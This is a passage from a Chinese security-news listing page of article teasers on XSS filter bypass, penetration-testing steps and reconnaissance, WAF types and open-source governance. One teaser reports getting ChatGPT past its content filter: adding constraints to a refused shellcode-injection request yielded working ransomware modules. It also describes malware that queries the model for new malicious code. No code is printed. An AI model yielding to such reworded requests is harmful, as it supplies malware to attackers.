rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;width: auto;vertical-align: top;min-width: 10%;height: auto;border-bottom: 17px solid rgb(240, 244, 255);border-bottom-right-radius: 0px;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="margin-bottom: -8px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 5px;padding-left: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0px;line-height: 1;font-size: 18px;color: rgb(49, 94, 163);overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">END</strong></p></section></section></section></section></section><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4" data-s="300,640" src="https://mmbiz.qpic.cn/mmbiz_jpg/3xxicXNlTXL8fHInwic65QarBzLTDecgAlRicyRRNJu5ItVq0eGBmhibeaUEib2sMnAsOTOHicWtz7P2iaAeftdlNQGCg/640?wx_fmt=jpeg" data-type="jpeg" data-w="1080" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 556px !important;"></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 16px;font-weight: bold;letter-spacing: 0.544px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><span style="outline: 0px;max-width: 100%;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">多一个点在看</span><img class="__bg_gif rich_pages wxw-img" data-fileid="503042576" data-ratio="1" data-type="gif" data-w="123" src="https://mmbiz.qpic.cn/mmbiz_gif/zYdFdnRZ0h95ZAL5c8h6iaMiaqbgljvZ80YraNgwWAtyyZRGT8INEgx8qWKgf9wXribCDNibDvDa2R1EQB4grqAKDg/640?wx_fmt=gif" style="outline: 0px;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 42px !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">多一条小鱼干</span></p>

本作品采用《CC 协议》,转载必须注明作者和本文链接
绕过 XSS 检测机制
2022-05-05 07:30:30
跨站点脚本 (XSS) 是最常见的 Web 应用程序漏洞之一。它可以通过清理用户输入、基于上下文转义输出、正确使用文档对象模型 (DOM) 接收器和源、执行正确的跨源资源共享 (CORS) 策略和其他安全实践来完全防止。尽管这些预防性技术是公共知识,但 Web 应用程序防火墙 (WAF) 或自定义过滤器被广泛用于添加另一层安全性,以保护 Web 应用程序免受人为错误或新发现的攻击向量引入的缺陷
随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。
渗透测试的基本流程
2021-11-16 06:50:17
1.明确目标 2.分析风险,获得授权 3.信息收集 4.漏洞探测(手动&自动) 5.漏洞验证 6.信息分析 7.利用漏洞,获取数据 8.信息整理 9.形成报告
服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) 网站指纹识别(包括,cms,cdn,证书等),dns记录 whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等) 子域名收集,旁站,C段等 google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等 传输协议,通用漏洞,ex
Web安全常见漏洞修复建议
⽹上整理的⾯试问题⼤全,有些 HW ⾯试的题,已经收集好了,提供给⼤家。
以机器学习为核心,ChatGPT使用2021年及更早收集的大量数据来生成响应。内容过滤器被触发,ChatGPT拒绝执行请求。发生这种情况是因为我们要求将shellcode注入explorer.exe中。有趣的是,通过要求ChatGPT使用多种限制并要求它做同样的事,我们收到了一个功能代码。到目前为止,我们已经看到ChatGPT可以为典型的勒索软件提供必要的代码,包括代码注入和文件加密模块。为了实现这一点,恶意软件包括一个Python解释器,它定期查询ChatGPT,以查找执行恶意操作的新模块。
证券行业开源治理工作的启动已经迫在眉睫。从外部环境来看,从国家、行业到监管机构,均有了明确发文、要求及建议,并出台了网络安全法、行业要求、专项通知等具体政策,不乏企业因为使用有漏洞的开源组件而受到相关监管机构通报。从内部环境来看,证券机构为深化数字化转型,IT部门规模在不断扩编,而借助开源技术的使用会大大加速这一过程。开源技术在带来便利的同时,背后也隐藏着很多风险,甚至会给证券机构稳定经营造成严重
WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。
VSole
网络安全专家